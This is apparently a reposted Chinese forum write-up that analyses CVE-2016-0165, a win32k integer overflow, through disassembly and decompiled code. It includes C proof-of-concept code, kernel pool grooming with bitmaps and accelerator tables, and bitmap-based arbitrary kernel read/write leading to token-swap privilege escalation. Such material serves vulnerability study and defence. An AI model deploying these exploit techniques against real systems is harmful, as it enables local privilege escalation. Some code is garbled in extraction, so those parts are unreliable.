12558网页游戏私服论坛

 找回密码
 立即注册
游戏开服表 申请开服
游戏名称 游戏描述 开服状态 游戏福利 运营商 游戏链接
攻城掠地-仿官 全新玩法,觉醒武将,觉醒技能 每周新区 经典复古版本,长久稳定 进入游戏
巅峰新版攻 攻城掠地公益服 攻城掠地SF 新兵种、新武将(兵种) 进入游戏
攻城掠地公 散人玩家的天堂 新开 进入游戏
改版攻城掠 上线即可国战PK 稳定新区 全新改版,功能强大 进入游戏
少年江山 高福利高爆率 刚开一秒 江湖水落潜蛟龙 进入游戏
太古封魔录 开服送10亿钻石 福利多多 不用充钱也可升级 进入游戏
神魔之道 签到送元宝 稳定开新区 送豪华签到奖励 进入游戏
神奇三国 统帅三军,招揽名将 免费玩新区 激情国战,征战四方 进入游戏
龙符 三日豪礼领到爽 天天开新区 助你征战无双 进入游戏
王者之师 免费领豪华奖励 免费玩新区 6元送6888元宝 进入游戏
查看: 272|回复: 0

CVE-2016-0165 Win32k漏洞分析笔记

[复制链接]

303

主题

303

帖子

616

积分

实习版主

Rank: 7Rank: 7Rank: 7

积分
616
发表于 2020-9-17 18:16:25 | 显示全部楼层 |阅读模式
求内推,明年毕业
CVE-2016-0165 是一个典型的整数上溢漏洞,由于在 win32k!RGNMEMOBJ::vCreate 函数中分配内核池内存块前没有对盘算的内存块大小参数进行溢出校验,导致函数有分配到远小于所期望大小的内存块的可能性。而函数本身并未对分配的内存块大小进行必要的校验,在后续通过该内存块作为缓冲区存储数据时,将会触发缓冲区溢出访问的 OOB 问题,严峻情况将导致体系 BSOD 的发生。
配置漏洞触发环境

[+] win7 x86 sp1[+] windbg preview 1.0.2001.02001
漏洞原理

定位漏洞


通过Bindiff可以看出,在RGNMEMOBJ::vCreate函数中,当调用ExAllocatePoolWithTag函数分配内存之前,增加了对ULongAdd函数和ULongLongToULong函数的调用。这两个函数在运算时假如发现运算数值超过了ULONG整数的范围就会返回ERROR_ARITHMETIC_OVERFLOW错误码,所以这两个函数通常用来防止发生整数溢出,在这里,这两个函数用来防止ExAllocatePoolWithTag函数的参数NumberOfBytes的整数溢出。
接着我们追踪一下这个参数NumberOfBytes到底是从哪里来,到哪里去,方便我们更加深入的了解这个漏洞。
.text:BF876200 ; ---------------------------------------------------------------------------.text:BF876200.text:BF876200 loc_BF876200:                           ; CODE XREF: RGNMEMOBJ::vCreate(EPATHOBJ &,ulong,_RECTL *)+A0↑j.text:BF876200                 lea     eax, [ebp+NumberOfBytes].text:BF876203                 push    eax             ; unsigned int *.text:BF876204                 xor     edi, edi.text:BF876206                 inc     edi.text:BF876207                 push    edi             ; unsigned int.text:BF876208                 push    [ebp+NumberOfBytes] ; unsigned int.text:BF87620B                 call    ?ULongAdd@@YGJKKPAK@Z ; [ebp+NumberOfBytes] = [ebp+NumberOfBytes] + 1.text:BF876210                 test    eax, eax.text:BF876212                 jl      loc_BF8763D2.text:BF876218                 mov     eax, [ebp+NumberOfBytes] ; eax为被乘数.text:BF87621B                 push    28h.text:BF87621D                 pop     ecx             ; ecx为乘数.text:BF87621E                 mul     ecx             ; mul reg32 的答案生存在edx:eax之中.text:BF876220                 lea     ecx, [ebp+NumberOfBytes].text:BF876223                 push    ecx             ; unsigned int *.text:BF876224                 push    edx.text:BF876225                 push    eax             ; 效果生存在[ebp+NumberOfBytes]中.text:BF876226                 call    _ULongLongToULong@12 ; ULongLongToULong(x,x,x).text:BF87622B                 test    eax, eax.text:BF87622D                 jl      loc_BF8763D2.text:BF876233                 cmp     [ebp+NumberOfBytes], 0.text:BF876237                 jz      short loc_BF87624E.text:BF876239                 push    67646547h       ; Tag.text:BF87623E                 push    [ebp+NumberOfBytes] ; NumberOfBytes.text:BF876241                 push    21h             ; PoolType.text:BF876243                 call    ds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x).text:BF876249                 mov     [ebp+P], eax.text:BF87624C                 jmp     short loc_BF876252.text:BF87624E ; ---------------------------------------------------------------------------这段代码共同注释应该很容易看明白,参数NumberOfBytes在传入函数ExAllocatePoolWithTag之前,经历了如下的运算过程:
[ebp+NumberOfBytes] = ([ebp+NumberOfBytes] + 1) * 0x28即函数ExAllocatePoolWithTag申请的内存大小为(x + 1) * 0x28,对x往前追溯可以发现x来自于函数ExAllocatePoolWithTag的第二个参数EPATHOBJ+4偏移地址的域
.text:BF87615C                 mov     esi, [ebp+arg_0](省略无关内容).text:BF876189                 mov     eax, [esi+4].text:BF87618C                 mov     [ebp+NumberOfBytes], eax在MSDN可以找到PATHOBJ的结构
typedef struct _PATHOBJ {  FLONG fl;  ULONG cCurves;} PATHOBJ;+4偏移地址是被定义为ULONG cCurves的成员变量
cCurvesThe number of lines and Bezier curves that make up the path.该变量表示当前PATHOBJ对象的曲线数量。也就是说(曲线数量 + 1) * 0x28可以造成整数溢出,使得分配一个远小于目标大小的内存。这里可以看看未修补的素人版本,功能是同等的:
.text:BF873FEA ; ---------------------------------------------------------------------------.text:BF873FEA.text:BF873FEA loc_BF873FEA:                           ; CODE XREF: RGNMEMOBJ::vCreate(EPATHOBJ &,ulong,_RECTL *)+A2↑j.text:BF873FEA                 lea     eax, [ecx+1]    ; ULONG cCurves.text:BF873FED                 imul    eax, 28h.text:BF873FF0                 test    eax, eax.text:BF873FF2                 jz      short loc_BF87400A.text:BF873FF4                 push    6E677247h       ; Tag.text:BF873FF9                 push    eax             ; NumberOfBytes.text:BF873FFA                 push    21h             ; PoolType.text:BF873FFC                 call    ds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x).text:BF874002                 mov     edx, [ebp+arg_8].text:BF874005                 mov     [ebp+P], eax.text:BF874008                 jmp     short loc_BF87400E.text:BF87400A ; ---------------------------------------------------------------------------接着往后跟进,查看一下申请出来的这块内存会被怎样利用
.text:BF8740D4 loc_BF8740D4:                           ; CODE XREF: RGNMEMOBJ::vCreate(EPATHOBJ &,ulong,_RECTL *)+18C↑j.text:BF8740D4                 push    [ebp+arg_8]     ; struct _RECTL *.text:BF8740D7                 mov     [eax+10h], esi.text:BF8740DA                 mov     eax, [ebx].text:BF8740DC                 push    [ebp+P]         ; struct EDGE * ; [ebp+P]生存的就是ExAllocatePoolWithTag申请的内存.text:BF8740DF                 mov     dword ptr [eax+30h], 48h.text:BF8740E6                 mov     eax, [ebx].text:BF8740E8                 mov     [eax+18h], ecx.text:BF8740EB                 mov     eax, [ebx].text:BF8740ED                 mov     [eax+14h], ecx.text:BF8740F0                 mov     eax, [ebx].text:BF8740F2                 mov     [eax+34h], ecx.text:BF8740F5                 mov     eax, [ebx].text:BF8740F7                 lea     ecx, [eax+48h].text:BF8740FA                 mov     [eax+1Ch], ecx.text:BF8740FD                 mov     eax, [ebx].text:BF8740FF                 add     eax, 20h.text:BF874102                 mov     [eax+4], eax.text:BF874105                 mov     [eax], eax.text:BF874107                 lea     eax, [ebp+var_68].text:BF87410A                 push    eax             ; struct EDGE *.text:BF87410B                 push    [ebp+arg_0]     ; struct EPATHOBJ *.text:BF87410E                 call    ?vConstructGET@@YGXAAVEPATHOBJ@@PAVEDGE@@1PAU_RECTL@@@Z ; vConstructGET(EPATHOBJ &,EDGE *,EDGE *,_RECTL *)函数ExAllocatePoolWithTag申请的内存被当作函数vConstructGET的第三个参数,作为struct EDGE *类型的指针参数传入的。关于EDGE是什么东西,我们可以在windows的源码中找到
class EDGE{public:    PEDGE pNext;    LONG  lScansLeft;    LONG  X;    LONG  Y;    LONG  lErrorTerm;    LONG  lErrorAdjustUp;    LONG  lErrorAdjustDown;    LONG  lXWhole;    LONG  lXDirection;    LONG  lWindingDirection;};这个结构用来描述将要填充的路径中的单个非水平边。在我们的实验环境中,该结构的大小为40,即0x28。看看函数vConstructGET干了些什么。
VOID vConstructGET(EPATHOBJ& po, EDGE *pGETHead, EDGE *pFreeEdges,RECTL *pBound){// Create an empty GET with the head node also a tail sentinel    pGETHead->pNext = pGETHead; // mark that the GET is empty    pGETHead->Y = 0x7FFFFFFF;   // this is greater than any valid Y value, so                                //  searches will always terminate    PPATH ppath = po.ppath;    for (PATHRECORD *ppr = ppath->pprfirst;         ppr != (PPATHREC) NULL;         ppr = ppr->pprnext)    {    // If first point starts a subpath, remember it as such    // and go on to the next point, so we can get an edge.        PPOINTFIX pptfxStart, pptfxEnd, pptfxPrev, pptfx;        pptfx = ppr->aptfx;        if (ppr->flags & PD_BEGINSUBPATH)        {            pptfxStart = ppr->aptfx;        // the subpath starts here            pptfxPrev = ppr->aptfx;         // this points starts next edge            pptfx++;                        // advance to the next point        }   // Add edges in PATH to GET, in Y-X sorted order.        pptfxEnd = ppr->aptfx + ppr->count;        while (pptfx < pptfxEnd)        {            pFreeEdges =                AddEdgeToGET(pGETHead, pFreeEdges,pptfxPrev,pptfx,pBound);            pptfxPrev = pptfx;            pptfx++;                        // advance to the next point        }     // If last point ends the subpath, insert the edge that     // connects to first point.        if (ppr->flags & PD_ENDSUBPATH)        {            pFreeEdges =                AddEdgeToGET(pGETHead, pFreeEdges,pptfxPrev, pptfxStart,pBound);        }    }}函数ExAllocatePoolWithTag申请的内存pFreeEdges又一次被当作参数传入函数vConstructGET,函数vConstructGET循环调用函数AddEdgeToGET来将两个点描述的边加入到GET表中,并将数据写入pFreeEdges参数指向的EDGE结构体,末了将下一个EDGE元素地址作为返回值返回。
    pFreeEdge->pNext = pGETHead->pNext; // link the edge into the GET    pGETHead->pNext = pFreeEdge;    return(++pFreeEdge);由于函数ExAllocatePoolWithTag申请的内存大小发生了整数溢出,导致这块内存的大小远小于我们的预期,之后进行大量写入操作的时间,将会造成OOB覆盖其他内容,从而导致体系BSOD的触发。
触发路径


  • NtPathToRegion函数
win32k中的许多函数都会调用RGNMEMOBJ::vCreate函数,再从中选取一个可以控制申请内存大小的函数来抵达漏洞,这里我们选择NtPathToRegion函数:
  DCOBJ::DCOBJ((DCOBJ *)&v9, a1);  ......  XEPATHOBJ::XEPATHOBJ((XEPATHOBJ *)&v7, (struct XDCOBJ *)&v9);  if ( v8 )  {    v4 = *(_BYTE *)(*(_DWORD *)(v9 + 56) + 58);    v11 = 0;    RGNMEMOBJ::vCreate((RGNMEMOBJ *)&v10, (struct EPATHOBJ *)&v7, v4, 0);    if ( v10 )    {      v5 = HmgInsertObject(v10, 0, 4);      if ( !v5 )        RGNOBJ::vDeleteRGNOBJ((RGNOBJ *)&v10);    }    else    {      v5 = 0;    }    ......
该函数用于根据被选择在 DC 对象中的路径 PATH 对象创建地区 REGION 对象,生成的地区将利用设备坐标,唯一的参数 HDC a1 是指向某个设备上下文 DC 对象的句柄。由于地区的转换需要闭合的图形,所以在函数中执行转换之前,函数会将 PATH 中全部未闭合的图形闭合。在乐成执行从路径到地区的转换操作之后,体系将释放目标 DC 对象中的闭合路径。别的该函数可在用户态进程中通过 gdi32.dll 中的导出函数在用户进程中进行直接调用,这给路径追踪带来便利。
XEPATHOBJ v7被作为第二个参数传递给RGNMEMOBJ::vCreate函数,XEPATHOBJ v7早已经在自身的XEPATHOBJ::XEPATHOBJ构造函数中依据用户对象DCOBJ v9进行初始化,而DCOBJ v9也早在DCOBJ::DCOBJ构造函数中依据NtPathToRegion函数的唯一参数HDC a1进行了初始化。
DCOBJ *__thiscall DCOBJ::DCOBJ(DCOBJ *this, HDC a2){  DCOBJ *v2; // esi  v2 = this;  *(_DWORD *)this = 0;  *((_DWORD *)this + 1) = 0;  *((_DWORD *)this + 2) = 0;  XDCOBJ::vLock(this, a2);  return v2;}出乎意料,这个函数的构造其实很简单,根据句柄参数 HDC a2 获取该句柄指向的设备上下文 DC 对象指针并存储在 this 的第 1 个成员变量中(即 PDC pdc 成员),以使当前 DCOBJ 对象成为目标 DC 对象的用户对象。

  • XEPATHOBJ::XEPATHOBJ构造函数
    XEPATHOBJ::XEPATHOBJ(HPATH hPath){ppath = (PPATH)HmgShareLock((HOBJ) hPath, PATH_TYPE);if (ppath != (PATH*) NULL){    // Load up accelerator values:    cCurves = ppath->cCurves;    fl      = ppath->fl;}return;}
此函数首先调用HmgShareLock函数并传入hPath句柄和PATH_TYPE类型对句柄指向的PATH对象增加共享计数并返回对象指针,以使当前 XEPATHOBJ 对象成为目标 PATH 对象的用户对象。之后对cCurves赋值,没错,就是前面那个导致了溢出的cCurves。
至此,我们揪出了cCurves的来源,就是参数HDC a1句柄控制的,也就是说,我们只要控制了HDC a1句柄,就可以在 ExAllocatePoolWithTag 函数进行恣意大小的的内存分配。
漏洞触发


  • PolylineTo 函数
虽然刚刚狂言不惭的说了要控制HDC a1句柄,但也没那么简单,我们要考虑详细怎样操作。这里我们利用PolylineTo 函数,该函数用于向 HDC hdc 句柄指向的 DC 对象中绘制一条或多条直线:
BOOL __stdcall PolylineTo(HDC hdc, const POINT *apt, DWORD cpt){  ......  return NtGdiPolyPolyDraw(hdc, apt, &cpt, 1, 4);}

  • NtGdiPolyPolyDraw函数
PolylineTo 函数最终调用NtGdiPolyPolyDraw体系调用:
函数 NtGdiPolyPolyDraw 用于绘制一个或多个多边形、折线,也可以绘制由一条或多条直线段、贝塞尔曲线段组成的折线等;其第 4 个参数 ccpt 用于在绘制一系列的多边形或折线时指定多边形或折线的个数,假如绘制的是线条(不管是直线照旧贝塞尔曲线)该值都需要设置为 1;第 5 个参数 iFunc 用于指定绘制图形类型,设置为 4 表示绘制直线。
cpt = 0;for ( i = 0; ; ++i ){    v13 = cpt;    if ( i >= ccpt )    break;    cpt += *(Dst + i);}if ( cpt > 0x4E2000 )    goto LABEL_56;NtGdiPolyPolyDraw函数规定了调用时的线条总数量,不能大于 0x4E2000,否则直接返回失败。
          switch ( iFunc )          {            case 1:              v11 = GrePolyPolygon(hdc, v7, Dst, ccpt, cpt);              break;            case 2:              v11 = GrePolyPolyline(hdc, v7, Dst, ccpt, cpt);              break;            case 3:              v11 = GrePolyBezier(hdc, v7, ulCount);              break;            case 4:              v11 = GrePolylineTo(hdc, v7, ulCount);              break;            case 5:              v11 = GrePolyBezierTo(hdc, v7, ulCount);              break;            case 6:              v11 = GreCreatePolyPolygonRgnInternal(v7, Dst, ccpt, hdc, cpt);              break;            default:              v18 = 0;              goto LABEL_47;根据参数iFunc的值进入差别的绘制例程。在PolylineTo 函数中,iFunc的值为4,那么将会调用GrePolylineTo 函数,传入 GrePolylineTo 函数的第 3 个参数 ulCount 是稍早时赋值的本次需要绘制线条的数量,数值来源于从 PolylineTo 函数传入的 cpt 变量。

  • GrePolylineTo 函数
    DCOBJ::DCOBJ(&v12, a1);    ......    EXFORMOBJ::vQuickInit(&v11, &v12, 0x204u);    v8 = 1;    PATHSTACKOBJ::PATHSTACKOBJ(&v13, &v12, 1);    if ( !v14 )    {      EngSetLastError(8);LABEL_12:      PATHSTACKOBJ::~PATHSTACKOBJ(&v13);      v6 = 0;      goto LABEL_9;    }    if ( !EPATHOBJ::bPolyLineTo(&v13, &v11, a2, ulCount) )      goto LABEL_12;    v9 = EPATHOBJ::ptfxGetCurrent(&v13, &v10);    DC::vCurrentPosition(v12, &a2[a3 - 1], v9);GrePolylineTo 函数首先根据 HDC a1 参数初始化 DCOBJ v12 用户对象,接下来定义了 PATHSTACKOBJ v13 用户对象。函数中调用 PATHSTACKOBJ::PATHSTACKOBJ 构造函数对 v13 对象进行初始化,并在初始化乐成后调用成员函数 EPATHOBJ::bPolyLineTo 执行绘制操作。

  • EPATHOBJ::bPolyLineTo 函数
int __thiscall EPATHOBJ::bPolyLineTo(EPATHOBJ *this, struct EXFORMOBJ *a2, struct _POINTL *a3, unsigned int ulCount){  EPATHOBJ *v4; // esi  int result; // eax  int v6; // [esp+4h] [ebp-Ch]  unsigned int v7; // [esp+8h] [ebp-8h]  struct _POINTL *v8; // [esp+Ch] [ebp-4h]  v4 = this;  if ( !*(this + 2) )    return 0;  v6 = 0;  v8 = a3;  v7 = ulCount;  result = EPATHOBJ::addpoints(this, a2, &v6);  if ( result )    *(v4 + 1) += ulCount;  return result;}EPATHOBJ::bPolyLineTo 执行详细的从 DC 对象的当前位置点到指定点的画线操作,通过调用 EPATHOBJ::addpoints 执行将目标的点添加到路径中的详细操作。执行乐成后,将参数 ulCount 的值增加到成员变量 cCurves 中。
现在我们知道控制PolylineTo(HDC hdc, const POINT *apt, DWORD cpt)的cpt变量就可以在 ExAllocatePoolWithTag 函数进行恣意大小的的内存分配,但离完整的poc还有点隔断,接着构造poc。
poc构造

由于是32位体系,所以ULONG的值最大为0xFFFFFFFF,而发生溢出时的参数为NumberOfBytes = 0x28 * (v6 + 1),所以我们需要构造0x28 * (v6 + 1)>0xFFFFFFFF来实现整数溢出,解不等式可得v6 > 0x&#8237;6666665&#8236; 。但是cCurves在RGNMEMOBJ::vCreate 函数的开始位置调用的 EPATHOBJ::vCloseAllFigure 成员函数中会被修改,详细代码如下:
VOID EPATHOBJ::vCloseAllFigures(){    PPATHREC ppr = ppath->pprfirst;    while (ppr != (PPATHREC) NULL)    {        if (ppr->flags & PD_ENDSUBPATH)        {            if (!(ppr->flags & PD_CLOSEFIGURE))            {                ppr->flags |= PD_CLOSEFIGURE;                cCurves++;            }        }        ppr = ppr->pprnext;    }}此函数遍历PPATHREC列表,并将全部未处于闭合状态的记录项设置为闭合状态,即将末尾的坐标点和起始的坐标点进行连接,所以会使得cCurves的值增加1。也就是说,我们只要告竣v6 > 0x&#8237;6666664&#8236;就可以造成整数溢出了。但是NtGdiPolyPolyDraw体系调用绘制的数量不能超过0x4E2000,否则就会直接返回失败,所以我们需要多次调用来到达溢出。完整代码如下:
#include #include #include CONST LONG maxCount = 0x6666665;CONST LONG maxLimit = 0x4E2000;static POINT point[maxCount] = { 0 };int main(int argc, char* argv[]){    BOOL ret = FALSE;    for (LONG i = 0; i < maxCount; i++)    {        point.x = i + 1;        point.y = i + 2;    }    HDC hdc = GetDC(NULL);  // get dc of desktop hwnd    BeginPath(hdc);         // activate the path    for (LONG i = maxCount; i > 0; i -= min(maxLimit, i))    {        ret = PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i));    }    EndPath(hdc);           // deactivate the path    HRGN hRgn = PathToRegion(hdc);    return 0;}虽然我们预想的很好,但是触发BSOD的几率非常低,由于覆盖后续内存的操作本身不会出错,错误其实是发生在后续释放或取内存的时间,而我们又不能保证后续内存存储的是什么东西,所以触发全靠运气,我在本地试了很多多少次都没有触发,不过可以借助Windbg来查看,确实是分配了一块0x18大小的内存。

漏洞利用

内核内存布局

虽然我们的poc触发乐成率不高,但它确实粉碎了后续堆块的POOL_HEADER结构,导致释放内存块时校验POOL_HEADER结构,从而触发BSOD。但假如我们提前进行堆布局,使得RGNMEMOBJ::vCreate函数分配的内存位于所在内存页的末尾,那么在释放的时间就不会对相邻内存块进行校验,这样虽然仍旧进行了OOB,但并不会触发崩溃。
#include #include #include CONST LONG maxCount = 0x6666667;CONST LONG maxLimit = 0x4E2000;static POINT point[maxCount] = { 0 };CONST LONG maxTimes = 5000;CONST LONG tmpTimes = 7000;static HBITMAP hbitmap[maxTimes] = { NULL };static HACCEL  hacctab[tmpTimes] = { NULL };int main(int argc, char* argv[]){    for (LONG i = 0; i < 5000; i++)    {        hbitmap = CreateBitmap(0xE34, 0x01, 1, 8, NULL);    }    for (LONG i = 0; i < 7000; i++)    {        ACCEL acckey[0x0D] = { 0 };        hacctab = CreateAcceleratorTableA(acckey, 0x0D);    }    for (LONG i = 2000; i < 4000; i++)    {        DestroyAcceleratorTable(hacctab);        hacctab = NULL;    }    DebugBreak();    BOOL ret = FALSE;    for (LONG i = 0; i < maxCount; i++)    {        point.x = i + 1;        point.y = i + 2;    }    HDC hdc = GetDC(NULL);  // get dc of desktop hwnd    BeginPath(hdc);         // activate the path    for (LONG i = maxCount; i > 0; i -= min(maxLimit, i))    {        ret = PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i));    }    EndPath(hdc);           // deactivate the path    HRGN hRgn = PathToRegion(hdc);    return 0;}由于0x18字节不方便占位,所以我们稍微提高画线数量为0x6666667,使得分配0x68大小的内存,加上0x8字节的POOL_HEADER就是0x70字节。我们先调用CreateBitmap 函数申请大量的0xF90 大小的内存块,以留下足够多的 0x70 字节间隙作为 RGNMEMOBJ::vCreate函数分配 0x70 字节内存块时的空间候选。但是由于SURFACE结构本身就要占用0x154字节,所以利用 CreateAcceleratorTable 函数。通过调用比 CreateBitmap 更多次数的 CreateAcceleratorTableA 函数创建 AcceleratorTable 内查对象以填充内存空隙、然后在其中制造空洞的方式,为使 RGNMEMOBJ::vCreate 分配的内存块能够命中我们安排的空洞提拔更大的概率。随后通过 DestroyAcceleratorTable 函数释放掉中间一部分 AcceleratorTable 对象,为 RGNMEMOBJ::vCreate 函数留下足够多的机会。

现在,RGNMEMOBJ::vCreate 函数分配的内存块乐成命中在我们安排的内存间隙中,其相邻的内存页也都符合我们先前构造的内存布局。
溢出覆盖内存块

由于创建的线条实在太多,会进行很大范围的内存访问,不利于后续操作,我们需要限制AddEdgeToGET 函数的访问范围。
  if ( pClipRect )  {    if ( iYEnd < pClipRect->top || iYStart > pClipRect->bottom )      return pFreeEdge;    if ( iYStart < pClipRect->top )    {      bClip = 1;      iYStart = pClipRect->top;    }    if ( iYEnd > pClipRect->bottom )      iYEnd = pClipRect->bottom;  }  ipFreeEdge_Y = (iYStart + 15) >> 4;  *((_DWORD *)pFreeEdge + 3) = ipFreeEdge_Y;  *((_DWORD *)pFreeEdge + 1) = ((iYEnd + 15) >> 4) - ipFreeEdge_Y;  if ( ((iYEnd + 15) >> 4) - ipFreeEdge_Y  0; i -= min(maxLimit, i))    {        ret = PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i));    }    ret = EndPath(hdc);    // 0xF90+0x70=0x1000    for (LONG i = 0; i < 4000; i++)    {        // 0xE34+0x154+8=0xF90        hbitmap = CreateBitmap(0xE34, 0x01, 1, 8, NULL);    }    for (LONG i = 0; i < 5500; i++)    {        ACCEL acckey[0x0D] = { 0 };        // 0x0D*6+0x12+4+8~0x70        hacctab = CreateAcceleratorTableA(acckey, 0x0D);    }    for (LONG i = 0; i < 4000; i++)    {        // free original bitmaps        ret = DeleteObject(hbitmap);        hbitmap = NULL;    }    // 0xB70+0x420=0xF90    for (LONG i = 0; i < 4000; i++)    {        // create shim clipdatas        // 0xB5C+0xC+8=0xB70        CreateClipboard(0xB5C);    }    for (LONG i = 0; i < 4000; i++)    {        // create usable bitmaps        // 0xB1*0x01*4+0x154+8=0x420        hbitmap = CreateBitmap(0x01, 0xB1, 1, 32, NULL);    }    for (LONG i = 2000; i < 4000; i++)    {        // dig hole to place edge buffer        ret = DestroyAcceleratorTable(hacctab);        hacctab = NULL;    }    DebugBreak();    PathToRegion(hdc);    return 0;}接着我们跟进一下看看内存到底有没有被乐成覆盖

成员sizlBitmap.cy 被覆盖成 0xFFFFFFFF,而 pvScan0 成员的值并未被污染,我们就可以利用该 sizlBitmap.cy 成员值的广阔范围,将当前位图 SURFACE 对象作为主控位图对象,通过其对位于下一内存页中的位图 SURFACE 对象进行操作,将其作为扩展位图 SURFACE 对象,覆盖其 pvScan0 指针为我们想读写的地址,随后再通过 API 函数操作扩展位图 SURFACE 对象,实现“指哪打哪”的目标。
定位位图句柄

pBmpHunted = (PDWORD)malloc(0x1000); // memory stubLONG index = -1;POCDEBUG_BREAK();for (LONG i = 0; i < 4000; i++){    if (GetBitmapBits(hbitmap, 0x1000, pBmpHunted) > 0x2D0)    {        index = i;        break;    }}hbmpmain = hbitmap[index];我们通过循环调用 GetBitmapBits 函数遍历位图句柄数组以定位被覆盖数据的位图 SURFACE 对象的句柄,获取 0x1000 字节的一整个内存页大小的位图数据。大部分配有被覆盖数据的位图 SURFACE 对象的像素点数据地区大小仍旧是原来的 0xB1*0x01*4=0x2C4 字节大小,所以返回值只可能是不超过 0x2C4 的数值;而针对被我们覆盖数据的主控位图 SURFACE 对象而言,由于 sizlBitmap 成员的值被覆盖成 0x01 和 0xFFFFFFFF 数值,所以在盘算位图像素点数据“现实大小”时,盘算出来的效果是 0x(3)FFFFFFFC,这是一个发生溢出的数值,高于 32 位的数据被舍弃。这样的话,当遍历到主控位图对象的句柄时,函数的返回值将必然是比 0x2D0 大的数,因此得以命中。命中乐成后 pBmpHunted 缓冲区中就存储了从当前位图对象的位图像素点数据地区起始地址开始的 0x1000 字节范围的内存数据。
BOOL xxPointToHit(LONG addr, PVOID pvBits, DWORD cb){    LONG ret = 0;    pBmpHunted[iExtpScan0] = addr;    ret = SetBitmapBits(hBmpHunted, 0x1000, pBmpHunted);    if (ret < 0x1000)    {        return FALSE;    }    ret = SetBitmapBits(hBmpExtend, cb, pvBits);    if (ret < (LONG)cb)    {        return FALSE;    }    return TRUE;}接着定位拓展位图对象,由于在句柄表中二者不一定相邻,所以我们可以讲拓展位图的大小修改,再通过上面的办法来遍历拓展位图的句柄。接着通过主控位图 SURFACE 对象控制扩展位图 SURFACE 对象的 SURFACE->so.pvScan0 成员域的值,这样一来只要将扩展位图 SURFACE 对象的 SURFACE->so.pvScan0 成员域修改为恣意内核地址,便可轻松实现对内核恣意地址的读写,“指哪打哪”的目标就实现了。
提权

这一部分就大同小异了,直接替换Token就好。至此,我们乐成实现了提权。

参考文章

https://xiaodaozhi.com/exploit/56.html
https://www.anquanke.com/post/id/93105

来源:http://www.12558.net
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
楼主热帖
回复

使用道具 举报

*滑块验证:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|12558网页游戏私服论坛 |网站地图

GMT+8, 2024-4-20 18:16 , Processed in 0.093750 second(s), 31 queries .

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表